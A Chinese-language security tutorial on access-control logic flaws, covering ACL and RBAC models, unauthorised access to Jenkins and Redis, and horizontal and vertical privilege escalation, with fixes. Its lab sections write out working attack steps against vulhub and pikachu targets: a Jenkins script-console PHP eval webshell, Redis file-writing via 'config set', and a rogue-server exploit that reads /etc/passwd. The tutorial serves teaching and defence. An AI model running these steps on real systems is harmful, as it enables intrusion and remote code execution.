逻辑漏洞——权限控制问题
普及權限控制的方法、常見非授權訪問漏洞以及水平越權與垂直越權的成因與利用方法、修復方法
權限控制
某個主體(subject)對某個客體(object)需要實施某種操作(operation),系統對這種操作的限制就是權限控制。
在一個安全的系統中,通過身份驗證來確認主體的身份。客體是一種資源,是主體發起請求的對象。主體所能做什么,就是權限,權限可以細分為不同的能力。例如:在Linux文件系統中,將權限分為讀、寫、執行三種能力。
??? 權限控制一般分為兩個步驟,身份驗證與授權。首先進行的是身份驗證的工作,用于驗證用戶是誰,是否有資格登錄訪問系統,解決【Whoaml】的問題;第二步進行授權,用來決定用戶能做什么,將系統不同的權限授予不同的賬戶,使其登錄系統后擁有不同的操作權限,【Whatcanldo】的問題解決。
形象的來說:假設系統是一個屋子,持有鑰匙的人可以開門進入屋子。那么屋子就是通過鎖和鑰匙來進行「身份驗證」的,開門的過程對應的就是登陸。開門之后,能訪問哪個屋子,什么事情能做,什么事情不能做,就是「授權】的管轄范圍了
權限控制方式
ACL策略:主體-規則-客體
Linux文件權限:讀、寫、執行
RBAC:Web應用系統常采用此模型
Web應用權限:基于URL、基于方法、基于數據
權限控制方式
ACL
ACL,訪問控制列表。在ACL中,包含用戶(User)、資源(Resource)、資源操作(Operation)三個關鍵要素。每一項資源,都配有一個列表,記錄哪些用戶可以對這項資源執行哪些操作。當系統試圖訪問這項資源時,會檢查這個列表中是否有關于當前用戶的操作權限。ACL是面向“資源”的訪問控制模型,機制是圍繞“資源”展開的。
ACL典型示例:在Linux中,主體是系統用戶,客體是被訪問的文件,一個文件所能執行的操作分為讀(r)、寫(w)、執行(x)。這三種操作同時對應著三種主體:文件擁有者、文件擁有者所在的用戶組、其他用戶。主體-客體-操作這三種的對應關系構成了ACL控制訪問列表,當用戶訪問文件時,能否成功將由ACL決定。
RBAC
名詞術語
用戶(user):人、機器、網絡等,進行資源或服務訪問的實施主體
角色(role):一個工作職能,被授予角色的用戶將具有相應的權威和責任
會話(session):從用戶到其激活的角色集合的一個映射
權限(permission):對受RBAC保護的一個或多個對象執行某個操作的許可
操作(operation):一個程序可執行的映像,被調用時為用戶執行某些功能
客體(object):需要進行訪問控制的系統資源,例如:文件、打印機、數據庫記錄等
RBAC
RBAC,基于角色的訪問控制。RBAC認為授權實際就是Who,what,How三者之
間的關系,即Who對What進行How的操作。
Who:權限的擁用者或主體(如User、Group、Role等等)
What:權限針對的對象或資源
How:具體的權限
關于權限控制,一般有以下問題:
未授權訪問
?? 當信息系統的安全配置或權限認證的地址、授權頁面存在缺陷時,有可能出現未授權訪問,導致用戶可以訪問信息系統,進而操作重要權限、操作數據庫、讀取網站目錄等敏感信息。
?? 目前存在未授權訪問漏洞主要存在Web應用權限中。正常情況下,管理后臺的頁面應該只有管理員才能夠訪問,而且搜索引擎的爬蟲也不應該搜索到這些頁面,但這些系統未對用戶訪問權限進行控制,導致任意用戶只要構造出了正確URL就能夠訪問這些頁面或者用爬蟲爬到頁面目錄
?? 對于Web應用程序,未授權訪問常發生于空口令登錄及后臺管理頁面的訪問。空口令多是因為配置問題,允許不輸入用戶名密碼登錄,修改配置可避免。后臺管理頁面應該只有管理員才能訪問,正常情況下是不應該被前臺訪問到的,搜索引擎與爬蟲也不應搜索到后臺頁面,由于系統未對用戶訪問權限做控制,可能被攻擊者用工具或手動嘗試出來。
?? 對于數據庫或一些服務組件,未授權訪問可能由于一些版本中出現的漏洞,導致攻擊者能讀取數據庫信息,讀取系統的文件,甚至利用服務寫文件至主機上。
目前主要存在未授權訪問漏洞的服務有:
samba服務、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ElasticSearch、Memcache、docker等
測試方法
Google-Hacking
域名爆破
端口服務掃描
域名關聯
案例:阿里云某未授權訪問可查看業務記錄
案例:Jenkins未授權訪問
? Jenkins是一個開源軟件項目,是基于Java開發的一種持續集成工具,它能把軟件開發過程形成工作流。默認情況下Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進入后臺管理服務,通過腳本執行界面從而獲取服務器權限。
案例:Jenkins未授權訪問
假如網站路徑:/var/www/html(需要具備一定的權限)
利用“腳本命令行”寫webshell,點擊運行沒有報錯,寫入成功
Jenkins未授權訪問修復方法
升級版本
禁止把Jenkins直接暴露在公網
恢復安全設置(老版本默認開啟“任何用戶可以做任何事”),設置強口令密碼
案例:Redis未授權訪問
掃描/連接默認的6379端口
利用方式
直接讀取數據庫中的數據
向Web目錄中寫shell:需要猜到Web目錄地址
寫ssh-keygen公鑰然后使用私鑰登陸
利用crontab反彈shell
Redis未授權訪問防御方法
可以配置redis.conf文件,在redis安裝目錄下
默認只對本地開放bind127.0.0.1
添加登陸密碼:修改redis.conf文件,添加requirepass password
在需要對外開放的時候修改默認端口(端口不重復就行)port2333
配合iptables限制開放
降權:以低權限運行Redis服務(重啟redis才能生效)
禁止使用root權限啟動redis服務
防御解決方案
隱藏:只能阻止用戶無法猜測到后臺界面,爆破工具可以掃描大量后臺地址
頁面權限控制:可以阻擋非認證用戶登錄后臺,即使找到后臺鏈接,也會被認證窗口阻擋
越權訪問
? 越權訪問是Web應用程序中一種常見的邏輯漏洞,由于其存在范圍廣、危害大,被OWASP列為Web應用十大安全隱患的第二名。
? 由于服務器端對客戶提出的數據操作請求過分信任,忽略了對該用戶操作權限的判定,導致修改相關參數就可以擁有了其他賬戶的增、刪、查、改功能,從而導致越權漏洞。
越權分類
根據數據庫的操作進行分類,可以分為:
越權查詢
越權刪除
越權修改
越權添加
越權分類
根據維度進行分類,可以分為:
平行越權(權限類型不變,權限ID改變)
lucy的信息是通過username參數以get請求方式提交的,我們試試可不可以修改username參數查看其他人信息
攻擊者嘗試訪問與其具有相同級別的用戶資源
垂直越權(權限ID不變,權限類型改變)
抓取超級管理員修改賬戶信息的數據包,然后退出超級管理員身份的登錄,切換到普通管理員的身份,然后用普通管理員的身份將該數據包進行重放,查看是否操作成功
抓到 管理創建
?pikachu登陸修改為以下URL
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php發現pikachu 也可以創建用戶低級別攻擊者嘗試訪問高級別用戶的資源
交叉越權(權限類型改變,權限ID也改變
交叉越權是垂直越權和水平越權的交集(既有平行越權概念,也有垂直越權
概念)
?RBAC(基于角色的訪問控制)權限管理模型
? RBAC權限管理模型是在新系統常用的一種用戶權限管理方式,傳統的權限模型中直接把權限賦予用戶,而RBAC中增加了“角色”的概念,首先把權限賦予角色,在根據用戶的不同需求把角色賦予用戶。目前很多網站系統會采用RBAC權限管理方式,給不同用戶分配不同的角色進而授予權限,角色如普通用戶、審計員、管理員、超級管理員等。
水平越權原理
? 水平越權原理為用戶A與用戶B都屬于同一個角色X,但用戶A與用戶B都各自擁有一些私有數據,正常情況下,只有用戶自己才能訪問自己的私有數據,但在RBAC模型下系統只會驗證用A是否屬于角色×,而不會判斷用戶A能否訪問只屬于用戶B的數據DataB,這樣就會發生水平越權訪問。
水平越權也可以把其稱作訪問控制攻擊漏洞。Web應用程序在接收到用戶的請求時進行增、刪、改、查某條數據的時候,沒有判斷數據所對應的用戶,或者在判斷數據的用戶時,是通過從用戶表單參數中獲取userid來實現的,這樣就可以修改userid來實現水平越權。
水平越權案例:WooYun-2015-152381
瀏覽抓包時候發現該系統存在越權漏洞,通過修改某個id來遍歷,可遍歷出大量賬號信息(登錄賬號),最少1500個賬號。
水平越權案例:Wooyun-2010-01576
通過變化URL中的id參數即可查看對應id的個人姓名、地址等隱私信息。
垂直越權原理
垂直越權原理為高權限角色訪問低權限角色的資源往往是被允許的,低權限角色訪問高權限角色資源是被禁止的,如果低權限角色通過訪問URL、修改標識、遍歷參數等方法獲得了更高權限角色的能力,這樣就發生了垂直越權訪問。
垂直越權是一種“基于URL的訪問控制”設計缺陷引起的漏洞,又叫做權限提升攻擊,具體原因就是web應用沒有做用戶權限控制,或者只是在菜單上做了權限控制,導致惡意用戶只要猜測到其他管理頁面的URL,就可以訪問或者控制其他角色擁有的數據或者頁面,達到權限提升的目的。
垂直越權案例
普通用戶訪問登錄頁面,http://ip/login/auth
此時訪問后臺頁面,http://ip/LecManager/view/list/4,發現能夠直接查看后臺數據
首先注冊賬號登錄,對其修改資料頁面進行抓包,發現了三個可疑參數admin、userid和身份,其他的參數都是我們個人資料的參數
嘗試修改shenfen參數,發現身份變成了管理人員,并且導航欄多出了后臺管理模塊
垂直越權案例:優酷網
使用游客的身份登錄系統,得到路徑:
http://project.youku.com/minisite/admin/module info.php?mid=1
修改參數,訪問到管理員才能訪問的功能
修復方法總結
? 垂直越權
????? 設置合適的會話管理機制,在每個涉及到高權限操作的頁面進行會話驗證
? 水平越權
????? 設置合理的會話管理機制,將有關用戶的標識存在服務器上
????? 涉及到關于用戶隱私的操作時從session中取出用戶標識(如id)進行操作
????? 不要輕信用戶的每個輸入越權
未授權訪問:
點擊“腳本命令執行”,訪問http://IP:8080/script頁面,可以看到網頁集成了在線執行腳本命令的功能。
執行java命令printIn "Is".execute().text,調用函數執行系統命令,可以看到回顯了當前目錄下的文件信息,該漏洞屬于未授權訪問,同時也屬于命令執行漏洞。?
利用“腳本命令行”寫webshell,點擊運行沒有報錯,寫入成功。(有的目錄需要具備一定的權限才能寫入)。
試試
new File ("/tmp/shell.php").write('<?php phpinfo();?>');
再寫入一句話木馬: new File(" /tmp/shell2.php").write('<?php @eval($_POST[cmd]);?>');
?寫入成功
?
vulhub:
redis_cli解壓kali
并連接可執行info命令查看redis服務器相關信息
進入到cd redis-2.8.12
?cd src
./redis-cli -h 靶機IP
靶機
cd? vulhub-master/redis/4-unacc/
docker-compose up -d
info?—?查看redis信息和服務器信息
flushall?—?刪除所有數據??????
del?key?—?刪除鍵為key的數據
get?key?—?獲得參數key的數據
config?—?配置server ?????
?或使用現有exp實現遠程代碼執行
git?clone?https://github.com/vulhub/redis-rogue-getshell.git????//克隆exp項目文檔(此步驟需要掛代理shadowsocks)
2.cd?redis-rogue-getshell/RedisModulesSDK/exp???????????//進入該目錄
3.make?//在當前目錄下生成一個exp.so文件??????????????????????//編譯生成exp
./redis-master.py?-r?192.168.111.137?-p?6379?-L?192.168.111.139?-P?1111?-f?RedisModulesSDK/exp/exp.so?-c?"cat/etc/passwd"??//第一個ip是靶機,第二個ip是攻擊機
我喜歡寫入webshell
?1.config?set?dir?/var/tmp????//指定工作目錄
2.config?set?dbfilename?tyc.php???//設置數據庫文件名
3.set?trojan?"<?php?phpinfo();?>"????//追加寫入tyc.php文件內容
4.save????
?
?
?
總結
以上是生活随笔為你收集整理的逻辑漏洞——权限控制问题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 逻辑漏洞——会话管理问题
- 下一篇: 逻辑漏洞——业务逻辑问题